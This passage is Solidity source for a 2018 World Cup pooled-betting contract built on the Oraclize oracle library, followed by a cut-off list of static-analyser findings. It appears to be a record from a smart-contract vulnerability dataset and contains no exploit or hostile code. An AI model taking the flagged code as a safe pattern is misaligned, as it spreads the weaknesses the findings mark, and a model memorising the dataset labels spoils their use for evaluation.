= 0; i < arrlen; i++) { res[ctr] = 0x5F; ctr++; for (uint x = 0; x < elemArray[i].length; x++) { // if there's a bug with larger strings, this may be the culprit if (x % 23 == 0) { uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x; elemcborlen += 0x40; uint lctr = ctr; while (byte(elemcborlen).length > ctr - lctr) { res[ctr] = byte(elemcborlen)[ctr - lctr]; ctr++; } } res[ctr] = elemArray[i][x]; ctr++; } res[ctr] = 0xFF; ctr++; } return res; } string oraclize_network_name; function oraclize_setNetworkName(string _network_name) internal { oraclize_network_name = _network_name; } function oraclize_getNetworkName() internal view returns (string) { return oraclize_network_name; } function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){ require((_nbytes > 0) && (_nbytes <= 32)); // Convert from seconds to ledger timer ticks _delay *= 10; bytes memory nbytes = new bytes(1); nbytes[0] = byte(_nbytes); bytes memory unonce = new bytes(32); bytes memory sessionKeyHash = new bytes(32); bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash(); assembly { mstore(unonce, 0x20) mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp))) mstore(sessionKeyHash, 0x20) mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32) } bytes memory delay = new bytes(32); assembly { mstore(add(delay, 0x20), _delay) } bytes memory delay_bytes8 = new bytes(8); copyBytes(delay, 24, 8, delay_bytes8, 0); bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay]; bytes32 queryId = oraclize_query("random", args, _customGasLimit); bytes memory delay_bytes8_left = new bytes(8); assembly { let x := mload(add(delay_bytes8, 0x20)) mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000)) } oraclize_randomDS_setCommitment(queryId, keccak256(delay_bytes8_left, args[1], sha256(args[0]), args[2])); return queryId; } function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal { oraclize_randomDS_args[queryId] = commitment; } mapping(bytes32=>bytes32) oraclize_randomDS_args; mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified; function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){ bool sigok; address signer; bytes32 sigr; bytes32 sigs; bytes memory sigr_ = new bytes(32); uint offset = 4+(uint(dersig[3]) - 0x20); sigr_ = copyBytes(dersig, offset, 32, sigr_, 0); bytes memory sigs_ = new bytes(32); offset += 32 + 2; sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0); assembly { sigr := mload(add(sigr_, 32)) sigs := mload(add(sigs_, 32)) } (sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs); if (address(keccak256(pubkey)) == signer) return true; else { (sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs); return (address(keccak256(pubkey)) == signer); } } function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) { bool sigok; // Step 6: verify the attestation signature, APPKEY1 must sign the sessionKey from the correct ledger app (CODEHASH) bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2); copyBytes(proof, sig2offset, sig2.length, sig2, 0); bytes memory appkey1_pubkey = new bytes(64); copyBytes(proof, 3+1, 64, appkey1_pubkey, 0); bytes memory tosign2 = new bytes(1+65+32); tosign2[0] = byte(1); //role copyBytes(proof, sig2offset-65, 65, tosign2, 1); bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c"; copyBytes(CODEHASH, 0, 32, tosign2, 1+65); sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey); if (sigok == false) return false; // Step 7: verify the APPKEY1 provenance (must be signed by Ledger) bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4"; bytes memory tosign3 = new bytes(1+65); tosign3[0] = 0xFE; copyBytes(proof, 3, 65, tosign3, 1); bytes memory sig3 = new bytes(uint(proof[3+65+1])+2); copyBytes(proof, 3+65, sig3.length, sig3, 0); sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY); return sigok; } modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) { // Step 1: the prefix has to match 'LP\x01' (Ledger Proof version 1) require((_proof[0] == "L") && (_proof[1] == "P") && (_proof[2] == 1)); bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); require(proofVerified); _; } function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){ // Step 1: the prefix has to match 'LP\x01' (Ledger Proof version 1) if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1; bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); if (proofVerified == false) return 2; return 0; } function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal pure returns (bool){ bool match_ = true; require(prefix.length == n_random_bytes); for (uint256 i=0; i< n_random_bytes; i++) { if (content[i] != prefix[i]) match_ = false; } return match_; } function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){ // Step 2: the unique keyhash has to match with the sha256 of (context name + queryId) uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32; bytes memory keyhash = new bytes(32); copyBytes(proof, ledgerProofLength, 32, keyhash, 0); if (!(keccak256(keyhash) == keccak256(sha256(context_name, queryId)))) return false; bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2); copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0); // Step 3: we assume sig1 is valid (it will be verified during step 5) and we verify if 'result' is the prefix of sha256(sig1) if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false; // Step 4: commitment match verification, keccak256(delay, nbytes, unonce, sessionKeyHash) == commitment in storage. // This is to verify that the computed args match with the ones specified in the query. bytes memory commitmentSlice1 = new bytes(8+1+32); copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0); bytes memory sessionPubkey = new bytes(64); uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65; copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0); bytes32 sessionPubkeyHash = sha256(sessionPubkey); if (oraclize_randomDS_args[queryId] == keccak256(commitmentSlice1, sessionPubkeyHash)){ //unonce, nbytes and sessionKeyHash match delete oraclize_randomDS_args[queryId]; } else return false; // Step 5: validity verification for sig1 (keyhash and args signed with the sessionKey) bytes memory tosign1 = new bytes(32+8+1+32); copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0); if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false; // verify if sessionPubkeyHash was verified already, if not.. let's do it! if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){ oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset); } return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash]; } // the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) { uint minLength = length + toOffset; // Buffer too small require(to.length >= minLength); // Should be a better way? // NOTE: the offset 32 is added to skip the `size` field of both bytes variables uint i = 32 + fromOffset; uint j = 32 + toOffset; while (i < (32 + fromOffset + length)) { assembly { let tmp := mload(add(from, i)) mstore(add(to, j), tmp) } i += 32; j += 32; } return to; } // the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license // Duplicate Solidity's ecrecover, but catching the CALL return value function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) { // We do our own memory management here. Solidity uses memory offset // 0x40 to store the current end of memory. We write past it (as // writes are memory extensions), but don't update the offset so // Solidity will reuse it. The memory used here is only needed for // this context. // FIXME: inline assembly can't access return values bool ret; address addr; assembly { let size := mload(0x40) mstore(size, hash) mstore(add(size, 32), v) mstore(add(size, 64), r) mstore(add(size, 96), s) // NOTE: we can reuse the request memory because we deal with // the return code ret := call(3000, 1, 0, size, 128, size, 32) addr := mload(size) } return (ret, addr); } // the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) { bytes32 r; bytes32 s; uint8 v; if (sig.length != 65) return (false, 0); // The signature format is a compact form of: // {bytes32 r}{bytes32 s}{uint8 v} // Compact means, uint8 is not padded to 32 bytes. assembly { r := mload(add(sig, 32)) s := mload(add(sig, 64)) // Here we are loading the last 32 bytes. We exploit the fact that // 'mload' will pad with zeroes if we overread. // There is no 'mload8' to do this, but that would be nicer. v := byte(0, mload(add(sig, 96))) // Alternative solution: // 'byte' is not working due to the Solidity parser, so lets // use the second best option, 'and' // v := and(mload(add(sig, 65)), 255) } // albeit non-transactional signatures are not specified by the YP, one would expect it // to match the YP range of [27, 28] // // geth uses [0, 1] and some clients have followed. This might change, see: // https://github.com/ethereum/go-ethereum/issues/2053 if (v < 27) v += 27; if (v != 27 && v != 28) return (false, 0); return safer_ecrecover(hash, v, r, s); } } // </ORACLIZE_API> // File: contracts/WorldCupBroker.sol /* * @title String & slice utility library for Solidity contracts. * @author Daniel Bennett <[email protected]> * * @dev This is a solitidy contract that facilitates betting for the 2018 world cup. The contract on does not act as a counter party to any bets placed and thus users bet on a decision pool for a match (win, lose, draw), and based on the results of users will be credited winnings proportional to their contributions to the winning pool. */ pragma solidity ^0.4.4; contract WorldCupBroker is Ownable, usingOraclize { using strings for *; struct Bet { bool cancelled; bool claimed; uint amount; uint8 option; // 1 - teamA, 2 - teamB, 3 - Draw address better; } struct Match { bool locked; // match will be locked after payout or all bets returned bool cancelled; uint8 teamA; uint8 teamB; uint8 winner; // 0 - not set, 1 - teamA, 2 - teamB, 3- Draw, 4 - no winner uint start; uint closeBettingTime; // since this the close delay is constant // this will always be the same, save gas for betters and just set the close time once uint totalTeamABets; uint totalTeamBBets; uint totalDrawBets; uint numBets; string fixtureId; string secondaryFixtureId; bool inverted; // inverted if the secondary api has the home team and away teams inverted string name; mapping(uint => Bet) bets; } event MatchCreated(uint8); event MatchUpdated(uint8); event MatchFailedPayoutRelease(uint8); event BetPlaced( uint8 matchId, uint8 outcome, uint betId, uint amount, address better ); event BetClaimed( uint8 matchId, uint betId ); event BetCancelled( uint8 matchId, uint betId ); string[32] public TEAMS = [ "Russia", "Saudi Arabia", "Egypt", "Uruguay", "Morocco", "Iran", "Portugal", "Spain", "France", "Australia", "Argentina", "Iceland", "Peru", "Denmark", "Croatia", "Nigeria", "Costa Rica", "Serbia", "Germany", "Mexico", "Brazil", "Switzerland", "Sweden", "South Korea", "Belgium", "Panama", "Tunisia", "England", "Poland", "Senegal", "Colombia", "Japan" ]; uint public constant MAX_NUM_PAYOUT_ATTEMPTS = 3; // after 3 consecutive failed payout attempts, lock the match uint public constant PAYOUT_ATTEMPT_INTERVAL = 3 minutes; // try every 3 minutes to release payout uint public commission_rate = 7; uint public minimum_bet = 0.01 ether; uint private commissions = 0; uint public primaryGasLimit = 225000; uint public secondaryGasLimit = 250000; Match[] matches; mapping(bytes32 => uint8) oraclizeIds; mapping(uint8 => uint8) payoutAttempts; mapping(uint8 => bool) firstStepVerified; mapping(uint8 => uint8) pendingWinner; /* * @dev Ensures a matchId points to a legitimate match * @param _matchId the uint to check if it points to a valid match. */ modifier validMatch(uint8 _matchId) { require(_matchId < uint8(matches.length)); _; } /* * @dev the validBet modifier does as it's name implies and ensures that a bet * is valid before proceeding with any methods called on the contract * that would require access to such a bet * @param _matchId the uint to check if it points to a valid match. * @param _betId the uint to check if it points to a valid bet for a match. */ modifier validBet(uint8 _matchId, uint _betId) { // short circuit to save gas require(_matchId < uint8(matches.length) && _betId < matches[_matchId].numBets); _; } /* * @dev Adds a new match to the smart contract and schedules an oraclize query call * to determine the winner of a match within 3 hours. Additionally emits an event * signifying a match was created. * @param _name the unique identifier of the match, should be of format Stage:Team A vs Team B * @param _fixture the fixtureId for the football-data.org endpoint * @param _secondary the fixtureId for the sportsmonk.com endpoint * @param _inverted should be set to true if the teams are inverted on either of the API * that is if the hometeam and localteam are swapped * @param _teamA index of the homeTeam from the TEAMS array * @param _teamB index of the awayTeam from the TEAMS array * @param _start the unix timestamp for when the match is scheduled to begin * @return `uint` the Id of the match in the matches array */ function addMatch(string _name, string _fixture, string _secondary, bool _invert, uint8 _teamA, uint8 _teamB, uint _start) public onlyOwner returns (uint8) { // Check that there's at least 15 minutes until the match starts require(_teamA < 32 && _teamB < 32 && _teamA != _teamB); Match memory newMatch = Match({ locked: false, cancelled: false, teamA: _teamA, teamB: _teamB, winner: 0, fixtureId: _fixture, // The primary fixtureId that will be used to query the football-data API secondaryFixtureId: _secondary, // The secondary fixtureID used to query sports monk inverted: _invert, start: _start, closeBettingTime: _start - 3 minutes, // betting closes 3 minutes before a match starts totalTeamABets: 0, totalTeamBBets: 0, totalDrawBets: 0, numBets: 0, name: _name }); uint8 matchId = uint8(matches.push(newMatch)) - 1; // concatinate oraclize query string memory url = strConcat( "[URL] json(https://soccer.sportmonks.com/api/v2.0/fixtures/", newMatch.secondaryFixtureId, "?api_token=${[decrypt] BBCTaXDN6dnsmdjsC2wVaBPxSDsuKX86BANML5dkUxjEUtgWsm9Rckj8c+4rIAjTOq9xn78g0lQswiiy63fxzbXJiFRP0uj53HrIa9CGfa4eXa5iQusy06294Vuljc1atuIbZzNuXdJ9cwDrH1xAc86eKnW1rYmWMqGKpr4Xw0lefpakheD8/9fJMIVo}).data.scores[localteam_score,visitorteam_score]"); // store the oraclize query id for later use // use hours to over estimate the amount of time it would take to safely get a correct result // 90 minutes of regulation play time + potential 30 minutes of extra time + 15 minutes break // + potential 10 minutes of stoppage time + potential 10 minutes of penalties // + 25 minutes of time for any APIs to correct and ensure their information is correct uint start = (_start + 3 hours); if (start <= now) { start = 1 minutes; } bytes32 oraclizeId = oraclize_query(start, "nested", url, primaryGasLimit); oraclizeIds[oraclizeId] = matchId; emit MatchCreated(matchId); return matchId; } function cancelMatch(uint8 _matchId) public onlyOwner validMatch(_matchId) returns (bool) { Match storage mtch = matches[_matchId]; require(!mtch.cancelled && now < mtch.closeBettingTime); mtch.cancelled = true; mtch.locked = true; emit MatchUpdated(_matchId); return true; } /* * @dev returns the number of matches on the contract */ function getNumMatches() public view returns (uint) { return matches.length; } /* * @dev Returns some of the properties of a match. Functionality had to be seperated * into 2 function calls to prevent stack too deep errors * @param _matchId the index of that match in the matches array * @return `string` the match name * @return `string` the fixutre Id of the match for the football-data endpoint * @return `string` the fixture Id fo the match for the sports monk endpoint * @return `uint8` the index of the home team * @return `uint8` the index of the away team * @return `uint8` the winner of the match * @return `uint` the unix timestamp for the match start time * @return `bool` Match cancelled boolean * @return `bool` Match locked boolean which is set to true if the match is payed out or bets are returned */ function getMatch(uint8 _matchId) public view validMatch(_matchId) returns (string, string, string, bool, uint8, uint8, uint8, uint, bool, bool) { Match memory mtch = matches[_matchId]; return ( mtch.name, mtch.fixtureId, mtch.secondaryFixtureId, mtch.inverted, mtch.teamA, mtch.teamB, mtch.winner, mtch.start, mtch.cancelled, mtch.locked ); } /* * @dev Returns remaining of the properties of a match. Functionality had to be seperated * into 2 function calls to prevent stack too deep errors * @param _matchId the index of that match in the matches array * @return `uint` timestamp for when betting for the match closes * @return `uint` total size of the home team bet pool * @return `uint` total size of the away team bet pool * @return `uint` total size of the draw bet pool * @return `uint` the total number of bets * @return `uint8` the number of payout attempts for the match */ function getMatchBettingDetails(uint8 _matchId) public view validMatch(_matchId) returns (uint, uint, uint, uint, uint, uint8) { Match memory mtch = matches[_matchId]; return ( mtch.closeBettingTime, mtch.totalTeamABets, mtch.totalTeamBBets, mtch.totalDrawBets, mtch.numBets, payoutAttempts[_matchId] ); } /* * @dev Adds a new bet to a match with the outcome passed where there are 3 possible outcomes * homeTeam wins(1), awayTeam wins(2), draw(3). While it is possible for some matches * to end in a draw, not all matches will have the possibility of ending in a draw * this functionality will be added in front end code to prevent betting on invalid decisions. * Emits a BetPlaced event. * @param _matchId the index of the match in matches that the bet is for * @param _outcome the possible outcome for the match that this bet is betting on * @return `uint` the Id of the bet in a match's bet array */ function placeBet(uint8 _matchId, uint8 _outcome) public payable validMatch(_matchId) returns (uint) { Match storage mtch = matches[_matchId]; // A bet must be a valid option, 1, 2, or 3, and cannot be less that the minimum bet amount require( !mtch.locked && !mtch.cancelled && now < mtch.closeBettingTime && _outcome > 0 && _outcome < 4 && msg.value >= minimum_bet ); Bet memory bet = Bet(false, false, msg.value, _outcome, msg.sender); uint betId = mtch.numBets; mtch.bets[betId] = bet; mtch.numBets++; if (_outcome == 1) { mtch.totalTeamABets += msg.value; // a bit of safe math checking here assert(mtch.totalTeamABets >= msg.value); } else if (_outcome == 2) { mtch.totalTeamBBets += msg.value; assert(mtch.totalTeamBBets >= msg.value); } else { mtch.totalDrawBets += msg.value; assert(mtch.totalDrawBets >= msg.value); } // emit bet placed event emit BetPlaced(_matchId, _outcome, betId, msg.value, msg.sender); return (betId); } /* * @dev Returns the properties of a bet for a match * @param _matchId the index of that match in the matches array * @param _betId the index of that bet in the match bets array * @return `address` the address that placed the bet and thus it's owner * @return `uint` the amount that was bet * @return `uint` the option that was bet on * @return `bool` wether or not the bet had been cancelled */ function getBet(uint8 _matchId, uint _betId) public view validBet(_matchId, _betId) returns (address, uint, uint, bool, bool) { Bet memory bet = matches[_matchId].bets[_betId]; // Don't return matchId and betId since you had to know them in the first place return (bet.better, bet.amount, bet.option, bet.cancelled, bet.claimed); } /* * @dev Cancel's a bet and returns the amount - commission fee. Emits a BetCancelled event * @param _matchId the index of that match in the matches array * @param _betId the index of that bet in the match bets array */ function cancelBet(uint8 _matchId, uint _betId) public validBet(_matchId, _betId) { Match memory mtch = matches[_matchId]; require(!mtch.locked && now < mtch.closeBettingTime); Bet storage bet = matches[_matchId].bets[_betId]; // only the person who made this bet can cancel it require(!bet.cancelled && !bet.claimed && bet.better == msg.sender ); // stop re-entry just in case of malicious attack to withdraw all contract eth bet.cancelled = true; uint commission = bet.amount / 100 * commission_rate; commissions += commission; assert(commissions >= commission); if (bet.option == 1) { matches[_matchId].totalTeamABets -= bet.amount; } else if (bet.option == 2) { matches[_matchId].totalTeamBBets -= bet.amount; } else if (bet.option == 3) { matches[_matchId].totalDrawBets -= bet.amount; } bet.better.transfer(bet.amount - commission); emit BetCancelled(_matchId, _betId); } /* * @dev Betters can claim there winnings using this method or reclaim their bet * if the match was cancelled * @param _matchId the index of the match in the matches array * @param _betId the bet being claimed */ function claimBet(uint8 _matchId, uint8 _betId) public validBet(_matchId, _betId) { Match storage mtch = matches[_matchId]; Bet storage bet = mtch.bets[_betId]; // ensures the match has been locked (payout either done or bets returned) // dead man's switch to prevent bets from ever getting locked in the contrat // from insufficient funds during an oracalize query // if the match isn't locked or cancelled, then you can claim your bet after // the world cup is over (noon July 16) require((mtch.locked || now >= 1531742400) && !bet.claimed && !bet.cancelled && msg.sender == bet.better ); bet.claimed = true; if (mtch.winner == 0) { // If the match is locked with no winner set // then either it was cancelled or a winner couldn't be determined // transfer better back their bet amount bet.better.transfer(bet.amount); } else { if (bet.option != mtch.winner) { return; } uint totalPool; uint winPool; if (mtch.winner == 1) { totalPool = mtch.totalTeamBBets + mtch.totalDrawBets; // once again do some safe math assert(totalPool >= mtch.totalTeamBBets); winPool = mtch.totalTeamABets; } else if (mtch.winner == 2) { totalPool = mtch.totalTeamABets + mtch.totalDrawBets; assert(totalPool >= mtch.totalTeamABets); winPool = mtch.totalTeamBBets; } else { totalPool = mtch.totalTeamABets + mtch.totalTeamBBets; assert(totalPool >= mtch.totalTeamABets); winPool = mtch.totalDrawBets; } uint winnings = totalPool * bet.amount / winPool; // calculate commissions percentage uint commission = winnings / 100 * commission_rate; commissions += commission; assert(commissions >= commission); // return original bet amount + winnings - commission bet.better.transfer(winnings + bet.amount - commission); } emit BetClaimed(_matchId, _betId); } /* * @dev Change the commission fee for the contract. The fee can never exceed 7% * @param _newCommission the new fee rate to be charged in wei */ function changeFees(uint8 _newCommission) public onlyOwner { // Max commission is 7%, but it can be FREE!! require(_newCommission <= 7); commission_rate = _newCommission; } /* * @dev Withdraw a portion of the commission from the commission pool. * @param _amount the amount of commission to be withdrawn */ function withdrawCommissions(uint _amount) public onlyOwner { require(_amount <= commissions); commissions -= _amount; owner.transfer(_amount); } /* * @dev Destroy the contract but only after the world cup is over for a month */ function withdrawBalance() public onlyOwner { // World cup is over for a full month withdraw the full balance of the contract // and destroy it to free space on the blockchain require(now >= 1534291200); // This is 12am August 15, 2018 selfdestruct(owner); } /* * @dev Change the minimum bet amount. Just in case the price of eth skyrockets or drops. * @param _newMin the new minimum bet amount */ function changeMiniumBet(uint _newMin) public onlyOwner { minimum_bet = _newMin; } /* * @dev sets the gas price to be used for oraclize quries in the contract * @param _price the price of each gas */ function setGasPrice(uint _price) public onlyOwner { require(_price >= 20000000000 wei); oraclize_setCustomGasPrice(_price); } /* * @dev Oraclize query callback to determine the winner of the match. * @param _myid the id for the oraclize query that is being returned * @param _result the result of the query */ function __callback(bytes32 _myid, string _result) public { // only oraclize can call this method if (msg.sender != oraclize_cbAddress()) revert(); uint8 matchId = oraclizeIds[_myid]; Match storage mtch = matches[matchId]; require(!mtch.locked && !mtch.cancelled); bool firstVerification = firstStepVerified[matchId]; // If there is no result or the result is null we want to do the following if (bytes(_result).length == 0 || (keccak256(_result) == keccak256("[null, null]"))) { // If max number of attempts has been reached then return all bets if (++payoutAttempts[matchId] >= MAX_NUM_PAYOUT_ATTEMPTS) { mtch.locked = true; emit MatchFailedPayoutRelease(matchId); } else { emit MatchUpdated(matchId); string memory url; string memory querytype; uint limit; // if the contract has already verified the sportsmonks api // use football-data.org as a secondary source of truth if (firstVerification) { url = strConcat( "json(https://api.football-data.org/v1/fixtures/", matches[matchId].fixtureId, ").fixture.result.[goalsHomeTeam,goalsAwayTeam]"); querytype = "URL"; limit = secondaryGasLimit; } else { url = strConcat( "[URL] json(https://soccer.sportmonks.com/api/v2.0/fixtures/", matches[matchId].secondaryFixtureId, "?api_token=${[decrypt] BBCTaXDN6dnsmdjsC2wVaBPxSDsuKX86BANML5dkUxjEUtgWsm9Rckj8c+4rIAjTOq9xn78g0lQswiiy63fxzbXJiFRP0uj53HrIa9CGfa4eXa5iQusy06294Vuljc1atuIbZzNuXdJ9cwDrH1xAc86eKnW1rYmWMqGKpr4Xw0lefpakheD8/9fJMIVo}).data.scores[localteam_score,visitorteam_score]"); querytype = "nested"; // use primary gas limit since that query won't payout winners on callback limit = primaryGasLimit; } bytes32 oraclizeId = oraclize_query(PAYOUT_ATTEMPT_INTERVAL, querytype, url, limit); oraclizeIds[oraclizeId] = matchId; } } else { payoutAttempts[matchId] = 0; // eg. result = "[2, 4]" strings.slice memory s = _result.toSlice(); // remove the braces from the result s = s.beyond("[".toSlice()); s = s.until("]".toSlice()); // split the string to get the two string encoded ints strings.slice memory x = s.split(", ".toSlice()); // parse them to int to get the scores uint awayScore = parseInt(s.toString()); uint homeScore = parseInt(x.toString()); uint8 matchResult; // determine the winner if (homeScore > awayScore) { matchResult = 1; } else if (homeScore < awayScore) { matchResult = 2; } else { matchResult = 3; } // if this is the query to sportsmonks if (!firstVerification) { // set pending winner and call the second source of truth pendingWinner[matchId] = matchResult; firstStepVerified[matchId] = true; url = strConcat( "json(https://api.football-data.org/v1/fixtures/", matches[matchId].fixtureId, ").fixture.result.[goalsHomeTeam,goalsAwayTeam]"); oraclizeId = oraclize_query("nested", url, secondaryGasLimit); oraclizeIds[oraclizeId] = matchId; } else { mtch.locked = true; // if one of the APIs has the teams inverted then flip the result if (matches[matchId].inverted) { if (matchResult == 1) { matchResult = 2; } else if (matchResult == 2) { matchResult = 1; } } // if the both APIs confirm the same winner then payout the winners if (pendingWinner[matchId] == matchResult) { mtch.winner = matchResult; emit MatchUpdated(matchId); } else { // else don't set a winner because a source of truth couldn't be verified // this way users can still reclaim their original bet amount emit MatchFailedPayoutRelease(matchId); } } } } function() public payable {} }
null
[{"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [189, 190, 191]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [209, 210]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1600, 1601, 1595, 1596, 1597, 1598, 1599]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [581, 582]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [163, 164, 165, 166, 167, 168, 169]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [470, 471, 472, 473, 474, 475, 476]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [256, 257, 258, 254, 255]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1296, 1297, 1298, 1295]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [352, 353]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1568, 1569, 1570, 1557, 1558, 1559, 1560, 1561, 1562, 1563, 1564, 1565, 1566, 1567]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [392, 393, 394, 395]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [416, 417, 418, 419, 413, 414, 415]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [103, 104, 105, 106, 107, 108]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [120, 117, 118, 119]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1792, 1793, 1794, 1795, 1796, 1797, 1798, 1799, 1800, 1801, 1802, 1782, 1783, 1784, 1785, 1786, 1787, 1788, 1789, 1790, 1791]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1760, 1761, 1762, 1763, 1764, 1765, 1766, 1767, 1754, 1755, 1756, 1757, 1758, 1759]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [436, 437, 438, 439, 440, 441, 442]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [728, 727]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [752, 753, 751]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1730, 1731, 1732, 1733, 1734]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [302, 303]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [494, 495, 496, 497, 498, 499]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [541, 542]}}, {"check": "boolean-equal", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1711]}}, {"check": "boolean-equal", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1659]}}, {"check": "boolean-equal", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1626]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"WorldCupBroker.sol": [1929]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"WorldCupBroker.sol": [802]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"WorldCupBroker.sol": [1928]}}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [391, 392, 393, 394, 395]}}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1294, 1295, 1296, 1297, 1298]}}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [161, 162, 163, 164, 165, 166, 167, 168, 169, 170]}}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [115, 116, 117, 118, 119, 120, 121]}}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [416, 417, 418, 419, 420, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415]}}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium", "lines": 